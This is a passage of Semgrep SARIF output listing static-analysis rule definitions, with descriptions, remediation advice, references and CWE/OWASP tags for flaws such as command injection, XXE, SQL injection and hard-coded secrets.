CloudWatch."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled","id":"terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled","name":"terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","MEDIUM CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using variable interpolation `${{...}}` with `github` context data in a `actions/github-script`'s `script:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"help":{"markdown":"Using variable interpolation `${{...}}` with `github` context data in a `actions/github-script`'s `script:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.github-script-injection.github-script-injection)\n - [https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections](https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)\n - [https://securitylab.github.com/research/github-actions-untrusted-input/](https://securitylab.github.com/research/github-actions-untrusted-input/)\n - [https://github.com/actions/github-script](https://github.com/actions/github-script)\n","text":"Using variable interpolation `${{...}}` with `github` context data in a `actions/github-script`'s `script:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.github-script-injection.github-script-injection","id":"yaml.github-actions.security.github-script-injection.github-script-injection","name":"yaml.github-actions.security.github-script-injection.github-script-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.github-script-injection.github-script-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret","id":"java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret","name":"java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template.HTML()'. 'template.HTML()' does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability."},"help":{"markdown":"Found a formatted template string passed to 'template.HTML()'. 'template.HTML()' does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.formatted-template-string.formatted-template-string)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n","text":"Found a formatted template string passed to 'template.HTML()'. 'template.HTML()' does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.formatted-template-string.formatted-template-string","id":"go.lang.security.audit.net.formatted-template-string.formatted-template-string","name":"go.lang.security.audit.net.formatted-template-string.formatted-template-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.formatted-template-string.formatted-template-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array","id":"python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array","name":"python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","id":"java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","name":"java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing","id":"python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing","name":"python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"IDEA (International Data Encryption Algorithm) is a block cipher created in 1991.  It is an optional component of the OpenPGP standard. This cipher is susceptible to attacks when using weak keys.  It is recommended that you do not use this cipher for new applications. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"help":{"markdown":"IDEA (International Data Encryption Algorithm) is a block cipher created in 1991.  It is an optional component of the OpenPGP standard. This cipher is susceptible to attacks when using weak keys.  It is recommended that you do not use this cipher for new applications. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea)\n - [https://tools.ietf.org/html/rfc5469](https://tools.ietf.org/html/rfc5469)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#cryptography.hazmat.primitives.ciphers.algorithms.IDEA](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#cryptography.hazmat.primitives.ciphers.algorithms.IDEA)\n","text":"IDEA (International Data Encryption Algorithm) is a block cipher created in 1991.  It is an optional component of the OpenPGP standard. This cipher is susceptible to attacks when using weak keys.  It is recommended that you do not use this cipher for new applications. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea","id":"python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea","name":"python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Session Token detected"},"help":{"markdown":"AWS Session Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-session-token.detected-aws-session-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Session Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-session-token.detected-aws-session-token","id":"generic.secrets.security.detected-aws-session-token.detected-aws-session-token","name":"generic.secrets.security.detected-aws-session-token.detected-aws-session-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-session-token.detected-aws-session-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mysql.mysql-empty-password.mysql-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mysql.mysql-empty-password.mysql-empty-password","id":"go.secrets.mysql.mysql-empty-password.mysql-empty-password","name":"go.secrets.mysql.mysql-empty-password.mysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mysql.mysql-empty-password.mysql-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"help":{"markdown":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete","id":"cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete","name":"cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.open-redirect-pathname.open-redirect-pathname)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/javascript.browser.open-redirect-pathname.open-redirect-pathname","id":"javascript.browser.open-redirect-pathname.open-redirect-pathname","name":"javascript.browser.open-redirect-pathname.open-redirect-pathname","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.open-redirect-pathname.open-redirect-pathname"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$POLICY` is missing a `condition` block which scopes users of this policy to specific GitHub repositories. Without this, `$POLICY` is open to all users on GitHub. Add a `condition` block on the variable `token.actions.githubusercontent.com:sub` which scopes it to prevent this."},"help":{"markdown":"`$POLICY` is missing a `condition` block which scopes users of this policy to specific GitHub repositories. Without this, `$POLICY` is open to all users on GitHub. Add a `condition` block on the variable `token.actions.githubusercontent.com:sub` which scopes it to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy)\n - [https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services#configuring-the-role-and-trust-policy](https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services#configuring-the-role-and-trust-policy)\n - [https://dagrz.com/writing/aws-security/hacking-github-aws-oidc/](https://dagrz.com/writing/aws-security/hacking-github-aws-oidc/)\n","text":"`$POLICY` is missing a `condition` block which scopes users of this policy to specific GitHub repositories. Without this, `$POLICY` is open to all users on GitHub. Add a `condition` block on the variable `token.actions.githubusercontent.com:sub` which scopes it to prevent this."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy","id":"terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy","name":"terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/java.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"java.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"java.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors)\n - [https://flask.palletsprojects.com/en/3.0.x/debugging/](https://flask.palletsprojects.com/en/3.0.x/debugging/)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors","id":"python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors","name":"python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoid using insecure deserialization library, backed by `pickle`, `_pickle`, `cpickle`, `dill`, `shelve`, or `yaml`, which are known to lead to remote code execution vulnerabilities."},"help":{"markdown":"Avoid using insecure deserialization library, backed by `pickle`, `_pickle`, `cpickle`, `dill`, `shelve`, or `yaml`, which are known to lead to remote code execution vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using insecure deserialization library, backed by `pickle`, `_pickle`, `cpickle`, `dill`, `shelve`, or `yaml`, which are known to lead to remote code execution vulnerabilities."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization","id":"python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization","name":"python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 